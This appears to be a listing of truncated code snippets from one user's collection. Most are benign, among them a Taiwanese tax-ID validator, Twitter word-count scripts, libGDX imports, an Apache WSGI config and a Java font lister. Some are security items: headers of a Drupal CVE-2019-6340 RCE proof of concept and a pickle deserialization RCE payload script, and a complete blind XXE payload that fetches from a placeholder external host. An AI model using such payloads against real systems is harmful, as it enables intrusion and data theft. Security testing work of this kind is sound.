manuelbua

#!/usr/bin/env python3

# CVE-2019-6340 Drupal <= 8.6.9 REST services RCE PoC
# 2019 @leonjza

# Technical details for this exploit is available at:
#   https://www.drupal.org/sa-core-2019-003
#   https://www.ambionics.io/blog/drupal8-rce
#   https://twitter.com/jcran/status/1099206271901798400

manuelbua

#!/usr/bin/python
#
# Pickle deserialization RCE payload.
# To be invoked with command to execute at it's first parameter.
# Otherwise, the default one will be used.
#

import cPickle
import sys
import base64

manuelbua

# encoding: utf-8

def company_serial_no_checker(serial)

  # 共八位，全部為數字型態
  at_least_8_digits =  /^\d{8}$/
  return false unless at_least_8_digits.match(serial)

  # 各數字分別乘以 1,2,1,2,1,2,4,1
  # 例：統一編號為 53212539

manuelbua

--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>

manuelbua

For background and further references see: Entity Component Systems on Wikipedia

ECS by Scott Bilas (GDC 2002)

Entity->Components->Update

• entity = class: no logic + no data OR at most small set of frequently used data (ie position)
• component = class: logic + data

foreach entity in allEntities do
    foreach component in entity.components do

manuelbua

'''
Rewrite with Twittcher ;)
Result (every 20 seconds):
>>> Most common words: [('ferguson', 41), ('http', 28), ('protests', 9),
                        ('missouri', 9), ('leave', 8), ('continue', 8),...]
'''

import re
from collections import Counter
from twittcher import SearchWatcher

manuelbua

'''
A script for analyzing twitter stats on Ferguson
'''
import json
import re

import tweepy

def get_api():
    '''

manuelbua

import com.badlogic.gdx.ApplicationListener;
import com.badlogic.gdx.Gdx;
import com.badlogic.gdx.Input.Keys;
import com.badlogic.gdx.InputAdapter;
import com.badlogic.gdx.backends.lwjgl.LwjglApplication;
import com.badlogic.gdx.graphics.Color;
import com.badlogic.gdx.graphics.GL10;
import com.badlogic.gdx.graphics.OrthographicCamera;
import com.badlogic.gdx.graphics.Pixmap.Format;
import com.badlogic.gdx.graphics.Texture;

manuelbua

<VirtualHost *>
    ServerName example.com

    WSGIDaemonProcess www user=max group=max threads=5
    WSGIScriptAlias / /home/max/Projekte/flask-upload/flask-upload.wsgi

    <Directory /home/max/Projekte/flask-upload>
        WSGIProcessGroup www
        WSGIApplicationGroup %{GLOBAL}
        Order deny,allow

manuelbua

import java.awt.GraphicsEnvironment;

public class ListJavaFonts
{

  public static void main(String[] args)
  {
    String fonts[] = 
      GraphicsEnvironment.getLocalGraphicsEnvironment().getAvailableFontFamilyNames();